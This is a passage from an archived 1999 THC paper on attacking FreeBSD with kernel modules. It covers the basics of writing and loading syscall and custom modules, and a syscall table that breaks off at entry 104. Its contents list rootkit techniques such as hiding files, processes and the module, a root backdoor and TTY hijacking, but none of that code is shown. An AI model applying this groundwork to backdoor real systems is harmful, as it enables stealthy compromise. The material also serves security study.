added unreleased README
[oweals/thc-archive.git] / Papers / bsdkern.html
1 <HTML>
2 <TITLE>- Attacking FreeBSD with Kernel Modules -</title>
3 <BODY BGCOLOR=WHITE>
4 <CENTER>
5 <H1><FONT COLOR=#0000FF>
6                 - Attacking FreeBSD with Kernel Modules -
7 </H1></FONT>
8
9
10 <H4>
11     The System Call Approach  
12 </H4>
13
14 </CENTER>
15 <P>
16 <H4><FONT COLOR=#FF0000>
17 written by pragmatic / THC, version 1.0<br>
18 released 06/1999<br>               
19 </H4></font>
20
21
22
23 <P><P><P><P><P><P>
24
25 <CENTER>
26 <H3>
27                                     CONTENTS
28 </H3>
29 </CENTER>
30                  
31                 
32                      
33
34 <A HREF="#Introduction"> Introduction</A><BR>
35 <p>
36 <b>
37 <A HREF="#I.">I.Basics</A><BR>
38 </b>
39 <A HREF="#I.1.">1. FreeBSD 'Modules' - 'Hello World' Syscall Example</A><BR>
40 <A HREF="#I.2.">2. Link Files and Modules - the difference </A><BR>
41 <A HREF="#I.2.1.">2.1 A two in one example</A><BR>
42 <A HREF="#I.3.">3. Diary of a module load process from the kernel
43 perspective</A><BR> 
44 <A HREF="#I.4.">4. Other kinds of modules</A><BR>
45 <A HREF="#I.5.">5. MISC modules with the KLD scheme</A><BR>
46 <A HREF="#I.6.">6. System calls on FreeBSD</A><BR>
47 <A HREF="#I.6.1.">  6.1 Important system calls for hacking</A><BR>
48 <A HREF="#I.7.">7. Important Kernel structures / lists</A><BR>
49 <A HREF="#I.7.1.">  7.1 TheSeeker - or how to access kernel lists</A><BR>
50 <A HREF="#I.8.">8. From User to kernel space and back</A><BR>
51 <A HREF="#I.9.">9. Last Words</A><BR>
52 <p>
53 <p>
54 <b>
55 <A HREF="#II.">II. Attacking with kernel code</A><BR>
56 </b>
57 <A HREF="#II.1.">1. How to intercept Syscalls</A><BR>
58 <A HREF="#II.2.">2. Filesystem related hacks</A><BR>
59 <A HREF="#II.2.1.">2.1 How to hide files</A><BR>
60 <A HREF="#II.2.2.">2.2 How to hide the file contents</A><BR>
61 <A HREF="#II.2.3.">2.3 And the rest ?</A><BR>
62 <A HREF="#II.3.">3. Process related hacks</A><BR>
63 <A HREF="#II.3.1.">3.1 How to hide any process</A><BR>
64 <A HREF="#II.3.2.">3.2 backdoor 'rootshell'</A><BR>
65 <A HREF="#II.4.">4. file execution redirection</A><BR>
66 <A HREF="#II.5.">5. TTY hijacking</A><BR>
67 <A HREF="#II.6.">6. Hiding the module</A><BR>
68 <A HREF="#II.7.">7. Last words</A><BR>
69 <p>
70 <p>
71 <b>
72 <A HREF="#III.">III. Securing the kernel</A><BR>
73 </b>
74 <A HREF="#III.1.">1. How to detect sysent[] modifications</A><BR>
75 <A HREF="#III.2.">2. How to restore old system calls</A><BR>
76 <A HREF="#III.3.">3. General ideas for using MD5 Hashes</A><BR>
77 <A HREF="#III.4.">4. How to see a hidden process</A><BR>
78 <p>
79 <p>
80 <b>
81 <A HREF="#IV.">IV. Last things to mention</A><BR>
82 </b>
83 <A HREF="#IV.1.">1. What about OpenBSD and NetBSD</A><BR>
84 <A HREF="#IV.2.">2. Links</A><BR>
85 <A HREF="#IV.3.">3. Greetings</A><BR>
86
87
88 <p>
89 <H3><A NAME="Introduction"></A>Introduction</H3>
90 <p>
91 FreeBSD is an often used server operating system. Lots of ISPs, universities
92 and some firms are using it. After releasing my Linux LKM text van Hauser asked
93 my to take a look at the FreeBSD kernel, so here we go.<br>
94 This text will show you that most Linux LKMs can be ported to BSD systems
95 (FreeBSD). On FreeBSD we can even do some things that were harder to
96 implement on Linux systems. This text only deals with ways to
97 backdoor/intercept system calls. I had a little conversation with Solar
98 Designer who tought me that there are lots of other ways to attack the FreeBSD
99 kernel, but this will come in a further release.<br>
100 For those people new to BSD and module techniques I really suggest reading my
101 '(nearly) Complete Linux Loadable Kernel Module' article
102 (http://www.thc.org). Of course this FreeBSD text has a basic section, but
103 the basic part of the Linux text is much more comprehensive  and easier to
104 understand. The Linux text will give you the basic ideas for understanding
105 most stuff I mention here. People who already did some kernel coding under
106 FreeBSD, who can read and understand kernel code and those who did some LKM
107 hacking on Linux boxes can read on without any problems. Bear in mind that the
108 main aim of this text is to show some new ideas to attack/backdoor FreeBSD
109 systems, and not to teach you FreeBSD kernel coding. So I made it as short and
110 complete as I can. I developed all modules on a FreeBSD 3.1 system (x86). I
111 used the new KLD scheme - introduced by FreeBSD 3.0 - to insert kernel code.
112 Older FreeBSD systems which work with LKMs (/dev/lkm) can also be used, but
113 there must be some modifications to the code in order to make them work. The
114 general ideas in this text should also work on OpenBSD and NetBSD.  For kernel
115 gurus : Don't blame me for the bad coding style I used in this paper
116 sometimes, but very compact code is harder to understand,to read  and even
117 harder to explain. And please remember : This text is for educational purpose
118 only !<br>
119  Note : I only know of one text dealing with the problems and solutions
120 I describe here. That older text written by halflife (see Phrack Magazine  
121 Volume 7, Issue 51 September 01, 1997, article 09) showed how to hide LKMs
122 under FreeBSD 2.2 systems and how to hide certain files from directory
123 listings (the goal was to avoid integrity checks). Due to the fact that you
124 can do much more stuff with modules and that FreeBSD changed a lot (LKMs are
125 gone...) I wrote this text.
126
127 <p>
128 <H3><A NAME="I."></A>I. Basics</H3>
129 <p>
130 This section will give you a very brief and easy (so partly incomplete) but
131 working overview of the FreeBSD way to insert code via modules. <br>
132 The problem concerning FreeBSD is the lack of documentation. There is only a
133 very small and elite group of programmers working on the kernel. At the time
134 of writing (May '99) I was not able to find any
135 good documentation helping us to dive deep into the kernel. So we have to go
136 the hardest but best way : reading source code. Because of this there may be
137 some minor errors in some explainations I give you, but every piece of code is
138 working and the general view should be correct ;)!<br>
139 <p>
140 <H3><A NAME="I.1."</A>1. FreeBSD 'Modules' - 'Hello World' Syscall Example</H3>
141 <p>
142 Before starting to explain I will present you a module example which installs
143 a system call that will print a simple message on the screen. I also included
144 the user space part. You may know this example, I took it from the FreeBSD
145 distribution (I only added some comments).
146
147 <xmp>
148 #include <sys/types.h>
149 #include <sys/param.h>
150 #include <sys/proc.h>
151 #include <sys/module.h>
152 #include <sys/sysent.h>
153 #include <sys/kernel.h>
154 #include <sys/systm.h>
155
156
157 /*this is the function which represents our system call*/
158 static int
159 hello (struct proc *p, void *arg)
160 {
161  printf ("hello kernel\n");
162  return 0;
163 }
164
165 /*on FreeBSD every system call is described by a sysent structure, which holds
166 the corresponding system call function (here hello) and the appropriate count
167 of arguments (here 0)*/
168
169 static struct sysent hello_sysent = {
170  0,                     /* sy_narg */
171  hello                  /* sy_call */
172 };
173
174
175 /*every system call has a certain number (called slot or offset on BSD). This
176 number represents the index in the global sysent list holding every syscall.
177 BSD is able to search a free slot for a syscall (by setting it to NO_SYSCALL)
178 which is used here.*/
179
180 static int offset = NO_SYSCALL;
181
182 /*this function can be compared to the init_module & cleanup_module functions
183 on Linux. The differentiation is done via the cmd variable.*/
184
185 static int
186 load (struct module *module, int cmd, void *arg)
187 {
188  int error = 0;
189
190  /*what do we have?*/
191  switch (cmd) {
192  /*we have a load*/
193  case MOD_LOAD :
194   printf ("syscall loaded at %d\n", offset);
195  break;
196  /*we have an unload*/
197  case MOD_UNLOAD :
198   printf ("syscall unloaded from %d\n", offset);
199  break;
200  default :
201   error = EINVAL;
202  break;
203  }
204  return error;
205 }
206
207 /*This is the most tricky part of this module. That macro will install the
208 module and calls the required functions. We will take a deeper look at this
209 later.*/
210 SYSCALL_MODULE(syscall, &offset, &hello_sysent, load, NULL);
211 </xmp>
212
213 Compiling this module is very easy on FreeBSD. We just use an universal
214 Makefile which is very easy because of the nice MK files used by FreeBSD (BSD).
215 Here we go :
216 <xmp>
217 SRCS    = helloworld.c
218 KMOD    = helloworld
219 KO      = ${KMOD}.ko
220 KLDMOD  = t
221
222
223 .include <bsd.kmod.mk>
224 </xmp>
225 Aren't those MK file a good idea :). So after comiling you get a file called
226 helloworld.ko. This file is in ELF format (so no pure object file). <br>
227 Take a look at the FreeBSD user space example calling this system call.
228 <xmp>
229 #include <stdio.h>
230 #include <sys/syscall.h>
231 #include <sys/types.h>
232 #include <sys/module.h>
233
234 int
235 main(int argc, char **argv)
236 {
237  char *endptr;
238  int syscall_num;
239  struct module_stat stat;
240
241  stat.version = sizeof(stat);
242  /*modstat will retrieve the module_stat structure for our module named
243    syscall (see the SYSCALL_MODULE macro which sets the name to syscall)*/
244  modstat(modfind("syscall"), &stat);  
245  /*extract the slot (syscall) number*/
246  syscall_num = stat.data.intval;
247  /*and call it without any arguments (because we didn't include support for
248    arguments*/
249  return syscall (syscall_num);
250 }
251 </xmp>
252 You can compile this the following way (it's too easy to waste time with a
253 Makefile) :
254 <xmp>
255 # gcc -o call call.c
256 </xmp>
257 Now you have a working module which will install a system call you can
258 call from user space with this little call program. 
259 You can load the module with
260 <xmp>
261 # kldload ./helloworld.ko 
262 </xmp>
263 and unload with
264 <xmp>
265 # kldunlod helloworld
266 </xmp>
267 with 
268 <xmp>
269 # kldstat 
270 </xmp>
271 you will get a list of loaded link files (NOT modules).
272 Before reading on, you should understand the global scheme used in the sources
273 I presented here. 
274
275 <p>
276 <H3><A NAME="I.2."></A>2. Link Files and Modules - the difference</H3>
277 <p>
278
279 There is a big difference between the output presented by kldstat and the
280 loaded modules. A module on FreeBSD means some part of the kernel, an exec
281 driver, a system call module, a device driver... The kernel itself contains
282 some modules (FS support for example).  A link file on the other hand is
283 something like a wrapper which can hold lots of modules. So our helloworld
284 example from above is one module wrapped in the link file helloworld.ko.<br>
285 So in general words : A module is just a bit of structured kernel code that
286 represents a certain driver (exec format, device, for example) or whatever. A
287 link file is just a file holding one or more modules which will be inserted
288 into the kernel. <br>
289 For those who want to know it exactly; here is the definition by Doug Rabson :
290 <xmp>
291 Kernel Linker
292 The kernel linker simply dynamically loads code into the kernel. A
293 symbol table is included in the kernel by ld(1) in the same way as
294 for dynamically linked user programs. As files are loaded, the code
295 is relocated and any unresolved symbols are matched against the
296 kernel's symbol table. Files can also include a list of dependencies
297 to allow code which is common to several files to be loaded
298 automatically. The kernel can load files without help from a user
299 program (in contrast to the older LKM system) and the kernel
300 bootstrap can also pre-load files, allowing devices which needed
301 before the root disk is available to be dynamically loaded instead of
302 statically linked into the kernel.
303 As code is loaded, any SYSINITs which it contains are
304 run. This makes it possible to write code which is identical whether
305 it is statically or dynamically loaded. When a file is unloaded, a
306 similar list of functions defined by SYSUNINIT is run.
307 <p>
308 Modules
309 Layered on top of the kernel linker is the module system. It uses
310 a SYSINIT to implement a simple event system for code which
311 is loaded. The idea is that a piece of code defines a module (using
312 DECLARE_MODULE) and supplies a handler routine. The handler
313 is called at load, unload and shutdown to allow the module to
314 initialise itself. Various kernel subsystems provide generic handler
315 functions for registering filesystems, devices or whatever and they
316 generally provide a macro which wraps DECLARE_MODULE (e.g.
317 VFS_SET).
318 </xmp>
319 I hope you got the idea, if not read on and re-read this part until you
320 understand it totally.
321
322 <p>
323 <H3><A NAME="I.2.1."></A>2.1 A two in one example</H3>
324 <p>
325
326 This example is just a proof of concept. It shows how to pack two modules in
327 one file using the linker mechanics (two SYSINITs wrapped by SYSCALL_MODULE
328 macro).
329 <xmp>
330 #include <sys/types.h>
331 #include <sys/param.h>
332 #include <sys/proc.h>
333 #include <sys/module.h>
334 #include <sys/sysent.h>
335 #include <sys/kernel.h>
336 #include <sys/systm.h>
337
338 /*this is the function our first syscall module (syscall_1) will use*/
339 static int
340 hello_1 (struct proc *p, void *arg)
341 {
342  printf ("hello kernel from syscall_1\n");
343  return 0;
344 }
345
346 /*this is the function our second syscall module (syscall_2) will use*/
347 static int
348 hello_2 (struct proc *p, void *arg)
349 {
350  printf ("hello kernel from syscall_2\n");
351  return 0;
352 }
353
354
355 /*first sysent structure which describes the first system call*/
356 static struct sysent hello_sysent_1 = {
357  0,                     /* sy_narg */
358  hello_1                /* sy_call */
359 };
360
361
362 /*second sysent structure which describes the second system call*/
363 static struct sysent hello_sysent_2 = {
364  0,                     /* sy_narg */
365  hello_2                /* sy_call */
366 };
367
368
369 /*both system call slots (numbers) should be selected by the kernel*/
370 static int offset_1 = NO_SYSCALL;
371 static int offset_2 = NO_SYSCALL;
372
373 /*the two load functions*/
374 static int
375 load_1 (struct module *module, int cmd, void *arg)
376 {
377  int error = 0;
378
379  switch (cmd) {
380  case MOD_LOAD :
381         printf ("syscall_1 loaded at %d\n", offset_1);
382         break;
383  case MOD_UNLOAD :
384         printf ("syscall_1 unloaded from %d\n", offset_1);
385         break;
386  default :
387         error = EINVAL;
388         break;
389  }
390  return error;
391 }
392
393 static int
394 load_2 (struct module *module, int cmd, void *arg)
395 {
396  int error = 0;
397
398  switch (cmd) {
399  case MOD_LOAD :
400         printf ("syscall_2 loaded at %d\n", offset_2);
401         break;
402  case MOD_UNLOAD :
403         printf ("syscall_2 unloaded from %d\n", offset_2);
404         break;
405  default :
406         error = EINVAL;
407         break;
408  }
409  return error;
410 }
411
412 /*install the first module (NAME : syscall_1)*/
413 SYSCALL_MODULE(syscall_1, &offset_1, &hello_sysent_1, load_1, NULL);
414
415 /*install the second module (NAME : syscall_2)*/
416 SYSCALL_MODULE(syscall_2, &offset_2, &hello_sysent_2, load_2, NULL);
417
418 </xmp>
419 You can use the same Makefile for the link file above. As you can see I
420 duplicated every item in this file. This way I implemented two totally
421 independend modules packed in one link file. The name of the first module is
422 'syscall_1' and the second module's name is 'syscall_2'.<br>
423 The following piece of code is the needed user space part which will find
424 both  modules and call their system calls.
425 <xmp>
426 #include <stdio.h>
427 #include <sys/syscall.h>
428 #include <sys/types.h>
429 #include <sys/module.h>
430
431
432 int
433 main(int argc, char **argv)
434 {
435  char *endptr;
436  int syscall_num;
437  struct module_stat stat;
438
439  /*first module*/
440  stat.version = sizeof(stat);
441  modstat(modfind("syscall_1"), &stat);
442  syscall_num = stat.data.intval;
443  syscall (syscall_num);
444  
445  /*second module*/
446  stat.version = sizeof(stat);
447  modstat(modfind("syscall_2"), &stat);
448  syscall_num = stat.data.intval;
449  syscall (syscall_num);
450 }
451 </xmp>
452 After this example you should understand the concept of packing modules in
453 link files.
454
455 <p>
456 <H3><A NAME="I.3."></A>3. Diary of a module load process from the kernel
457 perspective</H3>
458 <p>
459 For total Beginners : I suppose those without a going C and BSD knowledge have
460 to 'fight' with this part but I can't loose too many words here (the text would
461 become far too big); so I pack everything in a short summary. This section is
462 only a very brief and not very deep introduction into the module / link file
463 handling made by the kernel, but it is enough to understand the rest of this
464 text. <br>
465 The following code represents the helloworld example in a form where I
466 'resolved' the SYSCALL_MODULE macro. I just coded everything by hand (only the
467 last part [SYSCALL_MODULE macro] changed) so things become clearer:
468 <xmp>
469 #include <sys/types.h>
470 #include <sys/param.h>
471 #include <sys/proc.h>
472 #include <sys/module.h>
473 #include <sys/sysent.h>
474 #include <sys/kernel.h>
475 #include <sys/systm.h>
476
477 static int
478 hello (struct proc *p, void *arg)
479 {
480  printf ("hello kernel from syscall_1\n");
481  return 0;
482 }
483
484 static struct sysent hello_sysent = {
485  0,             /* sy_narg */
486  hello          /* sy_call */
487 };
488
489 static int offset = NO_SYSCALL;
490
491 static int
492 load (struct module *module, int cmd, void *arg)
493 {
494  int error = 0;
495
496  switch (cmd) {
497  case MOD_LOAD :
498         printf ("syscall loaded at %d\n", offset);
499         break;
500  case MOD_UNLOAD :
501         printf ("syscall unloaded from %d\n", offset);
502         break;
503  default :
504         error = EINVAL;
505         break;
506  }
507  return error;
508 }
509
510
511 /*The following lines do the same as :
512 --------------------------------------
513 SYSCALL_MODULE(syscall, &offset, &hello_sysent, load, NULL);
514 */
515
516 /*fill the X_syscall_mod structure made only for syscall modules*/
517 static struct syscall_module_data syscall_syscall_mod = {  
518  load, NULL, &offset, &hello_sysent                          
519 };                                                         
520                                                           
521 /*fill the module structure; the same for any module*/          
522 static moduledata_t syscall_mod = {
523  "syscall", 
524  syscall_module_handler,   /*special handler for syscall modules*/
525  &syscall_syscall_mod      /*speciel syscall module data*/
526 };
527
528 /*the sysinit structure for starting / registering*/
529 static struct sysinit syscall_sys_init = {
530  SI_SUB_DRIVERS,         /*SUBSYSTEM*/
531  SI_ORDER_MIDDLE,        /*ORDER*/
532  module_register_init,   /*the same for any module, register function*/
533  &syscall_mod            /*module specific data*/
534 };
535
536 /*we want hack at this layer, it just initializing some regions*/
537 static void const * const
538 __set_sysinit_set_sym_syscall_sys_init=&syscall_sys_init;       
539 __asm(".section .set.""sysinit_set"",\"aw\"");                    
540 __asm(".long " "syscall_sys_init");                              
541 __asm(".previous");
542
543 </xmp>
544 Now let's start from the kldload command which is implemented as a system call
545 in kern_linker.c. This system call first checks the securelevel (if > 0 then it
546 won't work) after this it will check for UID=0. Then the kernel checks
547 whether this link file is already loaded, if so it will abort. If everything
548 is ok so far, it will call linker_load_file (kern_linker.c). After some checks
549 this function will fill a linker_file structure and pass it to
550 linker_file_sysinit (kern_linker.c). This function will use the
551 syscall_sysinit_set structure (see example above) for initialization. That
552 structure is defined in kernel.h. Normally it is defined by macros
553 (we used the hand-made approach to see things clear). Here is the structure :
554 <xmp>
555 struct sysinit {
556         unsigned int    subsystem;              /* subsystem identifier*/
557         unsigned int    order;                  /* init order within subsystem*/
558         void            (*func) __P((void *));  /* init function*/
559         void            *udata;                 /* multiplexer/argument */
560         si_elem_t       type;                   /* sysinit_elem_type*/
561 };
562 </xmp>
563 The type field is set automatically so I did not set it by hand. The subsystem
564 and order codes are also defined in kernel.h. The function pointer points to a
565 function that is called at module startup with udata as parameter. As you can
566 see in the example above the module_register_init function (kern_module.c) is
567 called with the module data structure holding the module specific data. So our
568 next step must be this function. <br>
569 This function extracts the data from the argument it gets (the module data
570 structure). After this the module_register function (kern_module.c) is called
571 with the extracted data. This function first sets some fields of the module
572 structure (represented by a pointer to it called module_t) which is used by the
573 kernel to descibe any loaded module. After setting every field the module
574 (represented by the now filled module structure) is added to the global
575 module list (called modules). For a better understanding I put the module
576 structure here plus a short description :
577 <xmp>
578 struct module {
579  /*the first two entries are just for global module handling*/
580  TAILQ_ENTRY(module) link;    
581  TAILQ_ENTRY(module) flink;
582  /*this linker_file structure describes the link file the module comes from*/
583  struct linker_file* file;
584  /*references to this module (reference cound)*/
585  int refs;
586  /*id of this module*/
587  int id;
588  /*name of this module*/
589  char *name;
590  /*the mod handler (in our case the load function)*/
591  modeventhand_t handler;
592  /*arguments to the mod handler*/
593  void *arg;
594  /*some - for us not very interesting - data fields*/
595  modspecific_t data;
596 }
597 </xmp>
598 Finally the module_register function calls the modeventhand_t field of the
599 module structure (in our case : the syscall_module_handler) with the MOD_LOAD
600 command (cmd see example) argument. This function is defined in
601 kern_syscalls.c. On MOD_LOAD it calls syscall_register
602 (kern_syscalls.c) with the new sysentry and other stuff needed for installing
603 the system call. So let's say that syscall_register installed the system call
604 and returns (this stuff is not so interesting for us, we will use a more easy
605 way to 'hack' system calls). The last piece of code in syscall_module_handler
606 calls the self-defined load function (see example) with the same command field
607 (on startup MOD_LOAD). This way the module developer is able to do his own
608 stuff on LOAD and UNLOAD.<br>
609 Now we are ready. The module is loaded and started, and the system call is
610 installed. Recall that this example was written for a specific module - a
611 SYSCALL_MODULE. There are other module types (like device drivers etc.).
612 Please read the Kernel sources again and again and compare them to this part. 
613 Everything should be clear.
614
615 <p>
616 <H3><A NAME="I.4."></A>4. Other kinds of module</h3>
617 <p>
618 As I said before the helloworld example module is a special so called
619 SYSCALL_MODULE that is used to install a certain system call. FreeBSD provides
620 other macros and module layouts for different aims. Take a look at the driver
621 example that is shipped with FreeBSD. I won't discuss it here, because we will
622 never use the standard way of coding FreeBSD forces us to. <br>
623 The next section will show how to become independent from those standard
624 module layouts.
625
626 <p>
627 <H3><A NAME="I.5."></A>5. MISC modules with the KLD scheme</h3>
628 <p>
629 When I first coded some modules on FreeBSD (on an older 2.2.x release) I was
630 able to use so called MISC_MODULES. Instead of providing a certain layout for
631 special purposes (like SYSCALL_MODULE for system calls etc.) a MISC_MODULE was
632 just some piece of code loaded into the kernel, and calling the 'load' function
633 written by me. This scheme was ideal for hacking, because I was not forced to
634 implement a special kind of module. I had a fast and easy way to insert any
635 kernel code. These days are gone on FreeBSD 3.x because the KLD scheme
636 provides no MISC_MODULES like the LKM one did. So my first modules (like a
637 hide module etc.) did the hacking part, but also installed a system call (I
638 used SYSCALL_MODULES). This was no good solution. So I decided to create a
639 general module layout which will do the same like the old MISC_MODULES on LKM
640 systems : just call a 'load' function and nothing else. <br>
641 The following piece of code represents a MISC_MODULE for FreeBSD 3.x
642 systems using the KLD method :
643 <xmp>
644 #include <sys/types.h>
645 #include <sys/param.h>
646 #include <sys/proc.h>
647 #include <sys/module.h>
648 #include <sys/sysent.h>
649 #include <sys/kernel.h>
650 #include <sys/systm.h>
651 #include <sys/linker.h>
652 #include <sys/sysproto.h>
653 #include <sys/sysent.h>
654 #include <sys/proc.h>
655 #include <sys/syscall.h>
656
657 /*our own 'load' function*/
658 static int
659 dummy_handler(struct module *mod, int what, void *arg)
660 {
661  switch(what)
662  {
663   case MOD_LOAD :
664    printf("LOAD\n");
665   break;
666   case MOD_UNLOAD : 
667    printf("UNLOAD\n");
668   break; 
669  }
670  return 0;
671
672
673
674 /*NOTE : The following stuff 'links' our module into the kernel and calls
675          dummy_handler as our installation routine. I didn't use any macro
676          supplied by some header file for making module coding a bit easier.
677          But this way you will see every piece of code responsible for loading
678          the module.
679 */
680                                                      
681 /*fill the module structure*/          
682 static moduledata_t dummy_mod = {
683  "dummy", 
684  dummy_handler,           /*normally you would find something like
685                             syscall_module_handler here*/
686  NULL                     /*normally you would find something like
687                             syscall_module_data here (argument for the
688                             syscall_module_handler)*/
689 };
690
691 /*the rest is the same*/  
692 static struct sysinit syscall_sys_init = {
693  SI_SUB_DRIVERS,         /*SUBSYSTEM*/
694  SI_ORDER_MIDDLE,        /*ORDER*/
695  module_register_init,   /*the same for any module*/
696  &dummy_mod            /*data*/
697 };
698
699
700 /*We can leave this the same, it will work without modification...*/
701 static void const * const
702 __set_sysinit_set_sym_syscall_sys_init=&syscall_sys_init;       
703 __asm(".section .set.""sysinit_set"",\"aw\"");                    
704 __asm(".long " "syscall_sys_init");                              
705 __asm(".previous");
706
707 </xmp>
708 Compile this module and load it. The only thing it will do is printing a string
709 on load and unload. I must admit that the module above is a bit too long for
710 everyday coding. So I use one macro defined by the system which will make the
711 module a bit shorter but acting the same way. Replace the last lines with
712
713 <xmp>
714 ...
715           
716 static moduledata_t dummy_mod = {
717  "dummy", 
718  dummy_handler,
719  NULL
720 };
721
722 DECLARE_MODULE(dummy, dummy_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
723 </xmp>
724 Now our module is quite short and works like a MISC_MODULE on LKM systems.
725 Any code we want to execute on the kernel layer can be written into the
726 dummy_handler function.
727
728 <p>
729 <H3><A NAME="I.6."></A>6. System calls on FreeBSD</h3>
730 <p>
731 My Linux LKM article did a quite good job in explaining the way system calls
732 in general work. I won't repeat those words here, so I only give you BSD
733 relevant and needed material.<br>
734 The following list represents every system call that is present by startup on
735 a FreeBSD 3.1 system (I took this list form init_sysents.c):
736 <xmp>
737 struct sysent sysent[] = {
738         { 0, (sy_call_t *)nosys },                      /* 0 = syscall */
739         { 1, (sy_call_t *)exit },                       /* 1 = exit */
740         { 0, (sy_call_t *)fork },                       /* 2 = fork */
741         { 3, (sy_call_t *)read },                       /* 3 = read */
742         { 3, (sy_call_t *)write },                      /* 4 = write */
743         { 3, (sy_call_t *)open },                       /* 5 = open */
744         { 1, (sy_call_t *)close },                      /* 6 = close */
745         { 4, (sy_call_t *)wait4 },                      /* 7 = wait4 */
746         { compat(2,creat) },            /* 8 = old creat */
747         { 2, (sy_call_t *)link },                       /* 9 = link */
748         { 1, (sy_call_t *)unlink },                     /* 10 = unlink */
749         { 0, (sy_call_t *)nosys },                      /* 11 = obsolete execv */
750         { 1, (sy_call_t *)chdir },                      /* 12 = chdir */
751         { 1, (sy_call_t *)fchdir },                     /* 13 = fchdir */
752         { 3, (sy_call_t *)mknod },                      /* 14 = mknod */
753         { 2, (sy_call_t *)chmod },                      /* 15 = chmod */
754         { 3, (sy_call_t *)chown },                      /* 16 = chown */
755         { 1, (sy_call_t *)obreak },                     /* 17 = break */
756         { 3, (sy_call_t *)getfsstat },                  /* 18 = getfsstat */
757         { compat(3,lseek) },            /* 19 = old lseek */
758         { 0, (sy_call_t *)getpid },                     /* 20 = getpid */
759         { 4, (sy_call_t *)mount },                      /* 21 = mount */
760         { 2, (sy_call_t *)unmount },                    /* 22 = unmount */
761         { 1, (sy_call_t *)setuid },                     /* 23 = setuid */
762         { 0, (sy_call_t *)getuid },                     /* 24 = getuid */
763         { 0, (sy_call_t *)geteuid },                    /* 25 = geteuid */
764         { 4, (sy_call_t *)ptrace },                     /* 26 = ptrace */
765         { 3, (sy_call_t *)recvmsg },                    /* 27 = recvmsg */
766         { 3, (sy_call_t *)sendmsg },                    /* 28 = sendmsg */
767         { 6, (sy_call_t *)recvfrom },                   /* 29 = recvfrom */
768         { 3, (sy_call_t *)accept },                     /* 30 = accept */
769         { 3, (sy_call_t *)getpeername },                /* 31 = getpeername */
770         { 3, (sy_call_t *)getsockname },                /* 32 = getsockname */
771         { 2, (sy_call_t *)access },                     /* 33 = access */
772         { 2, (sy_call_t *)chflags },                    /* 34 = chflags */
773         { 2, (sy_call_t *)fchflags },                   /* 35 = fchflags */
774         { 0, (sy_call_t *)sync },                       /* 36 = sync */
775         { 2, (sy_call_t *)kill },                       /* 37 = kill */
776         { compat(2,stat) },             /* 38 = old stat */
777         { 0, (sy_call_t *)getppid },                    /* 39 = getppid */
778         { compat(2,lstat) },            /* 40 = old lstat */
779         { 1, (sy_call_t *)dup },                        /* 41 = dup */
780         { 0, (sy_call_t *)pipe },                       /* 42 = pipe */
781         { 0, (sy_call_t *)getegid },                    /* 43 = getegid */
782         { 4, (sy_call_t *)profil },                     /* 44 = profil */
783         { 4, (sy_call_t *)ktrace },                     /* 45 = ktrace */
784         { 3, (sy_call_t *)sigaction },                  /* 46 = sigaction */
785         { 0, (sy_call_t *)getgid },                     /* 47 = getgid */
786         { 2, (sy_call_t *)sigprocmask },                /* 48 = sigprocmask */
787         { 2, (sy_call_t *)getlogin },                   /* 49 = getlogin */
788         { 1, (sy_call_t *)setlogin },                   /* 50 = setlogin */
789         { 1, (sy_call_t *)acct },                       /* 51 = acct */
790         { 0, (sy_call_t *)sigpending },                 /* 52 = sigpending */
791         { 2, (sy_call_t *)sigaltstack },                /* 53 = sigaltstack */
792         { 3, (sy_call_t *)ioctl },                      /* 54 = ioctl */
793         { 1, (sy_call_t *)reboot },                     /* 55 = reboot */
794         { 1, (sy_call_t *)revoke },                     /* 56 = revoke */
795         { 2, (sy_call_t *)symlink },                    /* 57 = symlink */
796         { 3, (sy_call_t *)readlink },                   /* 58 = readlink */
797         { 3, (sy_call_t *)execve },                     /* 59 = execve */
798         { 1, (sy_call_t *)umask },                      /* 60 = umask */
799         { 1, (sy_call_t *)chroot },                     /* 61 = chroot */
800         { compat(2,fstat) },            /* 62 = old fstat */
801         { compat(4,getkerninfo) },              /* 63 = old getkerninfo */
802         { compat(0,getpagesize) },              /* 64 = old getpagesize */
803         { 3, (sy_call_t *)msync },                      /* 65 = msync */
804         { 0, (sy_call_t *)vfork },                      /* 66 = vfork */
805         { 0, (sy_call_t *)nosys },                      /* 67 = obsolete vread */
806         { 0, (sy_call_t *)nosys },                      /* 68 = obsolete vwrite */
807         { 1, (sy_call_t *)sbrk },                       /* 69 = sbrk */
808         { 1, (sy_call_t *)sstk },                       /* 70 = sstk */
809         { compat(6,mmap) },             /* 71 = old mmap */
810         { 1, (sy_call_t *)ovadvise },                   /* 72 = vadvise */
811         { 2, (sy_call_t *)munmap },                     /* 73 = munmap */
812         { 3, (sy_call_t *)mprotect },                   /* 74 = mprotect */
813         { 3, (sy_call_t *)madvise },                    /* 75 = madvise */
814         { 0, (sy_call_t *)nosys },                      /* 76 = obsolete vhangup */
815         { 0, (sy_call_t *)nosys },                      /* 77 = obsolete vlimit */
816         { 3, (sy_call_t *)mincore },                    /* 78 = mincore */
817         { 2, (sy_call_t *)getgroups },                  /* 79 = getgroups */
818         { 2, (sy_call_t *)setgroups },                  /* 80 = setgroups */
819         { 0, (sy_call_t *)getpgrp },                    /* 81 = getpgrp */
820         { 2, (sy_call_t *)setpgid },                    /* 82 = setpgid */
821         { 3, (sy_call_t *)setitimer },                  /* 83 = setitimer */
822         { compat(0,wait) },             /* 84 = old wait */
823         { 1, (sy_call_t *)swapon },                     /* 85 = swapon */
824         { 2, (sy_call_t *)getitimer },                  /* 86 = getitimer */
825         { compat(2,gethostname) },              /* 87 = old gethostname */
826         { compat(2,sethostname) },              /* 88 = old sethostname */
827         { 0, (sy_call_t *)getdtablesize },              /* 89 = getdtablesize */
828         { 2, (sy_call_t *)dup2 },                       /* 90 = dup2 */
829         { 0, (sy_call_t *)nosys },                      /* 91 = getdopt */
830         { 3, (sy_call_t *)fcntl },                      /* 92 = fcntl */
831         { 5, (sy_call_t *)select },                     /* 93 = select */
832         { 0, (sy_call_t *)nosys },                      /* 94 = setdopt */
833         { 1, (sy_call_t *)fsync },                      /* 95 = fsync */
834         { 3, (sy_call_t *)setpriority },                /* 96 = setpriority */
835         { 3, (sy_call_t *)socket },                     /* 97 = socket */
836         { 3, (sy_call_t *)connect },                    /* 98 = connect */
837         { compat(3,accept) },           /* 99 = old accept */
838         { 2, (sy_call_t *)getpriority },                /* 100 = getpriority */
839         { compat(4,send) },             /* 101 = old send */
840         { compat(4,recv) },             /* 102 = old recv */
841         { 1, (sy_call_t *)sigreturn },                  /* 103 = sigreturn */
842         { 3, (sy_call_t *)bind },                       /* 104 = bind */
